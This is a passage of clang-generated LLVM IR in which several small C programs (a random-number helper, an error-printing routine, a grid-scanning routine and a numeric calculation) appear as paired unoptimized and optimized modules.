%65 = load double, ptr %10, align 8
%66 = load double, ptr %6, align 8
%67 = call double @llvm.fmuladd.f64(double %65, double %66, double %64)
%68 = fdiv double %62, %67
store double %68, ptr %7, align 8
%69 = load double, ptr %7, align 8
%70 = load i64, ptr %14, align 8
%71 = sitofp i64 %70 to double
%72 = load double, ptr %10, align 8
%73 = fsub double 1.000000e+00, %72
%74 = fmul double %71, %73
%75 = fdiv double %69, %74
%76 = fadd double 1.000000e+00, %75
store double %76, ptr %11, align 8
%77 = load double, ptr %8, align 8
%78 = load double, ptr %11, align 8
%79 = fmul double %77, %78
store double %79, ptr %12, align 8
%80 = load i64, ptr %14, align 8
%81 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, i64 noundef %80)
%82 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%83 = load double, ptr %8, align 8
%84 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, double noundef %83)
%85 = load double, ptr %10, align 8
%86 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, double noundef %85)
%87 = call i32 (ptr, ...) @printf(ptr noundef @.str.6)
%88 = load double, ptr %6, align 8
%89 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, double noundef %88)
%90 = load double, ptr %7, align 8
%91 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, double noundef %90)
%92 = load double, ptr %11, align 8
%93 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, double noundef %92)
%94 = load double, ptr %12, align 8
%95 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, double noundef %94)
%96 = load i32, ptr %3, align 4
ret i32 %96
}
declare i32 @printf(ptr noundef, ...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i64 @atol(ptr noundef) #1
declare double @atof(ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #4 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpjqw5xjg9.c'
source_filename = "/tmp/tmpjqw5xjg9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpjqw5xjg9.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpe4xckuct.c'
source_filename = "/tmp/tmpe4xckuct.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpe4xckuct.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpkzln7dli.c'
source_filename = "/tmp/tmpkzln7dli.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@errno = dso_local global i64 0, align 8
@EINTR = dso_local global i64 0, align 8
@EAGAIN = dso_local global i64 0, align 8
@.str = private unnamed_addr constant [26 x i8] c"read random device failed\00", align 1
@EXIT_FAILURE = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @randgen(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i8, align 1
store i32 %0, ptr %2, align 4
%6 = call i32 (...) @get_random_fd()
store i32 %6, ptr %3, align 4
br label %7
7: ; preds = %29, %1
br label %8
8: ; preds = %7, %20
%9 = load i32, ptr %3, align 4
%10 = call i64 @read(i32 noundef %9, ptr noundef %5, i32 noundef 1)
%11 = icmp sle i64 %10, 0
br i1 %11, label %12, label %25
12: ; preds = %8
%13 = load i64, ptr @errno, align 8
%14 = load i64, ptr @EINTR, align 8
%15 = icmp eq i64 %13, %14
br i1 %15, label %20, label %16
16: ; preds = %12
%17 = load i64, ptr @errno, align 8
%18 = load i64, ptr @EAGAIN, align 8
%19 = icmp eq i64 %17, %18
br i1 %19, label %20, label %21
20: ; preds = %16, %12
br label %8
21: ; preds = %16
%22 = call i32 @perror(ptr noundef @.str)
%23 = load i32, ptr @EXIT_FAILURE, align 4
%24 = call i32 @exit(i32 noundef %23) #3
unreachable
25: ; preds = %8
br label %26
26: ; preds = %25
%27 = load i8, ptr %5, align 1
%28 = zext i8 %27 to i32
store i32 %28, ptr %4, align 4
br label %29
29: ; preds = %26
%30 = load i32, ptr %4, align 4
%31 = load i32, ptr %2, align 4
%32 = call i32 (...) @getpid()
%33 = add i32 %31, %32
%34 = icmp uge i32 %30, %33
br i1 %34, label %7, label %35, !llvm.loop !6
35: ; preds = %29
%36 = load i32, ptr %4, align 4
%37 = load i32, ptr %2, align 4
%38 = urem i32 %36, %37
ret i32 %38
}
declare i32 @get_random_fd(...) #1
declare i64 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @perror(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @getpid(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpkzln7dli.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@errno = dso_local global i64 0, align 8
@EINTR = dso_local global i64 0, align 8
@EAGAIN = dso_local global i64 0, align 8
@.str = private unnamed_addr constant [26 x i8] c"read random device failed\00", align 1
@EXIT_FAILURE = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @randgen(i32 noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i8, align 1
store i32 %0, ptr %2, align 4
%6 = call i32 (...) @get_random_fd()
store i32 %6, ptr %3, align 4
br label %7
7: ; preds = %31, %1
%8 = load i32, ptr %3, align 4
%9 = call i64 @read(i32 noundef %8, ptr noundef %5, i32 noundef 1)
%10 = icmp sle i64 %9, 0
br i1 %10, label %.lr.ph, label %27
.lr.ph: ; preds = %7
br label %11
11: ; preds = %.lr.ph, %19
%12 = load i64, ptr @errno, align 8
%13 = load i64, ptr @EINTR, align 8
%14 = icmp eq i64 %12, %13
br i1 %14, label %19, label %15
15: ; preds = %11
%16 = load i64, ptr @errno, align 8
%17 = load i64, ptr @EAGAIN, align 8
%18 = icmp eq i64 %16, %17
br i1 %18, label %19, label %23
19: ; preds = %15, %11
%20 = load i32, ptr %3, align 4
%21 = call i64 @read(i32 noundef %20, ptr noundef %5, i32 noundef 1)
%22 = icmp sle i64 %21, 0
br i1 %22, label %11, label %._crit_edge
23: ; preds = %15
%24 = call i32 @perror(ptr noundef @.str)
%25 = load i32, ptr @EXIT_FAILURE, align 4
%26 = call i32 @exit(i32 noundef %25) #3
unreachable
._crit_edge: ; preds = %19
br label %27
27: ; preds = %._crit_edge, %7
br label %28
28: ; preds = %27
%29 = load i8, ptr %5, align 1
%30 = zext i8 %29 to i32
store i32 %30, ptr %4, align 4
br label %31
31: ; preds = %28
%32 = load i32, ptr %4, align 4
%33 = load i32, ptr %2, align 4
%34 = call i32 (...) @getpid()
%35 = add i32 %33, %34
%36 = icmp uge i32 %32, %35
br i1 %36, label %7, label %37, !llvm.loop !6
37: ; preds = %31
%38 = load i32, ptr %4, align 4
%39 = load i32, ptr %2, align 4
%40 = urem i32 %38, %39
ret i32 %40
}
declare i32 @get_random_fd(...) #1
declare i64 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @perror(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @getpid(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpqtkgc20m.c'
source_filename = "/tmp/tmpqtkgc20m.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [12 x i8] c"\1B[31m%s\1B[0m\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @closeWithError_1(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca [50 x i8], align 16
store ptr %0, ptr %2, align 8
%4 = getelementptr inbounds [50 x i8], ptr %3, i64 0, i64 0
%5 = load ptr, ptr %2, align 8
%6 = call i32 @sprintf(ptr noundef %4, ptr noundef @.str, ptr noundef %5)
%7 = getelementptr inbounds [50 x i8], ptr %3, i64 0, i64 0
%8 = call i32 @perror(ptr noundef %7)
%9 = call i32 @exit(i32 noundef 1) #3
unreachable
}
declare i32 @sprintf(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @perror(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqtkgc20m.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [12 x i8] c"\1B[31m%s\1B[0m\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @closeWithError_1(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca [50 x i8], align 16
store ptr %0, ptr %2, align 8
%4 = getelementptr inbounds [50 x i8], ptr %3, i64 0, i64 0
%5 = load ptr, ptr %2, align 8
%6 = call i32 @sprintf(ptr noundef %4, ptr noundef @.str, ptr noundef %5)
%7 = getelementptr inbounds [50 x i8], ptr %3, i64 0, i64 0
%8 = call i32 @perror(ptr noundef %7)
%9 = call i32 @exit(i32 noundef 1) #3
unreachable
}
declare i32 @sprintf(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @perror(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp47sy9dam.c'
source_filename = "/tmp/tmp47sy9dam.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp47sy9dam.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpdy_zfsq5.c'
source_filename = "/tmp/tmpdy_zfsq5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpdy_zfsq5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3owueuoe.c'
source_filename = "/tmp/tmp3owueuoe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%c \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [255 x [255 x i32]], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store i32 0, ptr %1, align 4
br label %10
10: ; preds = %0, %193, %551
%11 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
%12 = load i32, ptr %3, align 4
%13 = icmp eq i32 %12, 0
br i1 %13, label %14, label %15
14: ; preds = %10
br label %554
15: ; preds = %10
store i32 0, ptr %7, align 4
store i32 0, ptr %4, align 4
br label %16
16: ; preds = %39, %15
%17 = load i32, ptr %4, align 4
%18 = load i32, ptr %3, align 4
%19 = icmp slt i32 %17, %18
br i1 %19, label %20, label %42
20: ; preds = %16
store i32 0, ptr %5, align 4
br label %21
21: ; preds = %35, %20
%22 = load i32, ptr %5, align 4
%23 = load i32, ptr %3, align 4
%24 = icmp slt i32 %22, %23
br i1 %24, label %25, label %38
25: ; preds = %21
%26 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %9)
%27 = load i32, ptr %9, align 4
%28 = sub nsw i32 %27, 48
%29 = load i32, ptr %4, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %30
%32 = load i32, ptr %5, align 4
%33 = sext i32 %32 to i64
%34 = getelementptr inbounds [255 x i32], ptr %31, i64 0, i64 %33
store i32 %28, ptr %34, align 4
br label %35
35: ; preds = %25
%36 = load i32, ptr %5, align 4
%37 = add nsw i32 %36, 1
store i32 %37, ptr %5, align 4
br label %21, !llvm.loop !6
38: ; preds = %21
br label %39
39: ; preds = %38
%40 = load i32, ptr %4, align 4
%41 = add nsw i32 %40, 1
store i32 %41, ptr %4, align 4
br label %16, !llvm.loop !8
42: ; preds = %16
store i32 0, ptr %4, align 4
br label %43
43: ; preds = %186, %42
%44 = load i32, ptr %4, align 4
%45 = load i32, ptr %3, align 4
%46 = icmp slt i32 %44, %45
br i1 %46, label %47, label %189
47: ; preds = %43
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %5, align 4
br label %48
48: ; preds = %102, %47
%49 = load i32, ptr %5, align 4
%50 = load i32, ptr %3, align 4
%51 = icmp slt i32 %49, %50
br i1 %51, label %52, label %105
52: ; preds = %48
%53 = load i32, ptr %8, align 4
%54 = icmp eq i32 %53, 0
br i1 %54, label %55, label %65
55: ; preds = %52
%56 = load i32, ptr %4, align 4
%57 = sext i32 %56 to i64
%58 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %57
%59 = load i32, ptr %5, align 4
%60 = sext i32 %59 to i64
%61 = getelementptr inbounds [255 x i32], ptr %58, i64 0, i64 %60
%62 = load i32, ptr %61, align 4
%63 = icmp eq i32 %62, 1
br i1 %63, label %64, label %65
64: ; preds = %55
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %101
65: ; preds = %55, %52
%66 = load i32, ptr %8, align 4
%67 = icmp eq i32 %66, 1
br i1 %67, label %68, label %80
68: ; preds = %65
%69 = load i32, ptr %4, align 4
%70 = sext i32 %69 to i64
%71 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %70
%72 = load i32, ptr %5, align 4
%73 = sext i32 %72 to i64
%74 = getelementptr inbounds [255 x i32], ptr %71, i64 0, i64 %73
%75 = load i32, ptr %74, align 4
%76 = icmp eq i32 %75, 1
br i1 %76, label %77, label %80
77: ; preds = %68
%78 = load i32, ptr %6, align 4
%79 = add nsw i32 %78, 1
store i32 %79, ptr %6, align 4
br label %100
80: ; preds = %68, %65
%81 = load i32, ptr %8, align 4
%82 = icmp eq i32 %81, 1
br i1 %82, label %83, label %99
83: ; preds = %80
%84 = load i32, ptr %4, align 4
%85 = sext i32 %84 to i64
%86 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %85
%87 = load i32, ptr %5, align 4
%88 = sext i32 %87 to i64
%89 = getelementptr inbounds [255 x i32], ptr %86, i64 0, i64 %88
%90 = load i32, ptr %89, align 4
%91 = icmp eq i32 %90, 0
br i1 %91, label %92, label %99
92: ; preds = %83
%93 = load i32, ptr %6, align 4
%94 = load i32, ptr %7, align 4
%95 = icmp sgt i32 %93, %94
br i1 %95, label %96, label %98
96: ; preds = %92
%97 = load i32, ptr %6, align 4
store i32 %97, ptr %7, align 4
br label %98
98: ; preds = %96, %92
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %99
99: ; preds = %98, %83, %80
br label %100
100: ; preds = %99, %77
br label %101
101: ; preds = %100, %64
br label %102
102: ; preds = %101
%103 = load i32, ptr %5, align 4
%104 = add nsw i32 %103, 1
store i32 %104, ptr %5, align 4
br label %48, !llvm.loop !9
105: ; preds = %48
%106 = load i32, ptr %6, align 4
%107 = load i32, ptr %7, align 4
%108 = icmp sgt i32 %106, %107
br i1 %108, label %109, label %111
109: ; preds = %105
%110 = load i32, ptr %6, align 4
store i32 %110, ptr %7, align 4
br label %111
111: ; preds = %109, %105
%112 = load i32, ptr %7, align 4
%113 = load i32, ptr %3, align 4
%114 = icmp eq i32 %112, %113
br i1 %114, label %115, label %116
115: ; preds = %111
br label %189
116: ; preds = %111
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %5, align 4
br label %117
117: ; preds = %171, %116
%118 = load i32, ptr %5, align 4
%119 = load i32, ptr %3, align 4
%120 = icmp slt i32 %118, %119
br i1 %120, label %121, label %174
121: ; preds = %117
%122 = load i32, ptr %8, align 4
%123 = icmp eq i32 %122, 0
br i1 %123, label %124, label %134
124: ; preds = %121
%125 = load i32, ptr %5, align 4
%126 = sext i32 %125 to i64
%127 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %126
%128 = load i32, ptr %4, align 4
%129 = sext i32 %128 to i64
%130 = getelementptr inbounds [255 x i32], ptr %127, i64 0, i64 %129
%131 = load i32, ptr %130, align 4
%132 = icmp eq i32 %131, 1
br i1 %132, label %133, label %134
133: ; preds = %124
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %170
134: ; preds = %124, %121
%135 = load i32, ptr %8, align 4
%136 = icmp eq i32 %135, 1
br i1 %136, label %137, label %149
137: ; preds = %134
%138 = load i32, ptr %5, align 4
%139 = sext i32 %138 to i64
%140 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %139
%141 = load i32, ptr %4, align 4
%142 = sext i32 %141 to i64
%143 = getelementptr inbounds [255 x i32], ptr %140, i64 0, i64 %142
%144 = load i32, ptr %143, align 4
%145 = icmp eq i32 %144, 1
br i1 %145, label %146, label %149
146: ; preds = %137
%147 = load i32, ptr %6, align 4
%148 = add nsw i32 %147, 1
store i32 %148, ptr %6, align 4
br label %169
149: ; preds = %137, %134
%150 = load i32, ptr %8, align 4
%151 = icmp eq i32 %150, 1
br i1 %151, label %152, label %168
152: ; preds = %149
%153 = load i32, ptr %5, align 4
%154 = sext i32 %153 to i64
%155 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %154
%156 = load i32, ptr %4, align 4
%157 = sext i32 %156 to i64
%158 = getelementptr inbounds [255 x i32], ptr %155, i64 0, i64 %157
%159 = load i32, ptr %158, align 4
%160 = icmp eq i32 %159, 0
br i1 %160, label %161, label %168
161: ; preds = %152
%162 = load i32, ptr %6, align 4
%163 = load i32, ptr %7, align 4
%164 = icmp sgt i32 %162, %163
br i1 %164, label %165, label %167
165: ; preds = %161
%166 = load i32, ptr %6, align 4
store i32 %166, ptr %7, align 4
br label %167
167: ; preds = %165, %161
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %168
168: ; preds = %167, %152, %149
br label %169
169: ; preds = %168, %146
br label %170
170: ; preds = %169, %133
br label %171
171: ; preds = %170
%172 = load i32, ptr %5, align 4
%173 = add nsw i32 %172, 1
store i32 %173, ptr %5, align 4
br label %117, !llvm.loop !10
174: ; preds = %117
%175 = load i32, ptr %6, align 4
%176 = load i32, ptr %7, align 4
%177 = icmp sgt i32 %175, %176
br i1 %177, label %178, label %180
178: ; preds = %174
%179 = load i32, ptr %6, align 4
store i32 %179, ptr %7, align 4
br label %180
180: ; preds = %178, %174
%181 = load i32, ptr %7, align 4
%182 = load i32, ptr %3, align 4
%183 = icmp eq i32 %181, %182
br i1 %183, label %184, label %185
184: ; preds = %180
br label %189
185: ; preds = %180
br label %186
186: ; preds = %185
%187 = load i32, ptr %4, align 4
%188 = add nsw i32 %187, 1
store i32 %188, ptr %4, align 4
br label %43, !llvm.loop !11
189: ; preds = %184, %115, %43
%190 = load i32, ptr %7, align 4
%191 = load i32, ptr %3, align 4
%192 = icmp eq i32 %190, %191
br i1 %192, label %193, label %196
193: ; preds = %189
%194 = load i32, ptr %7, align 4
%195 = call i32 @printf(ptr noundef @.str, i32 noundef %194)
br label %10
196: ; preds = %189
store i32 0, ptr %4, align 4
br label %197
197: ; preds = %548, %196
%198 = load i32, ptr %4, align 4
%199 = load i32, ptr %3, align 4
%200 = sub nsw i32 %199, 1
%201 = icmp sle i32 %198, %200
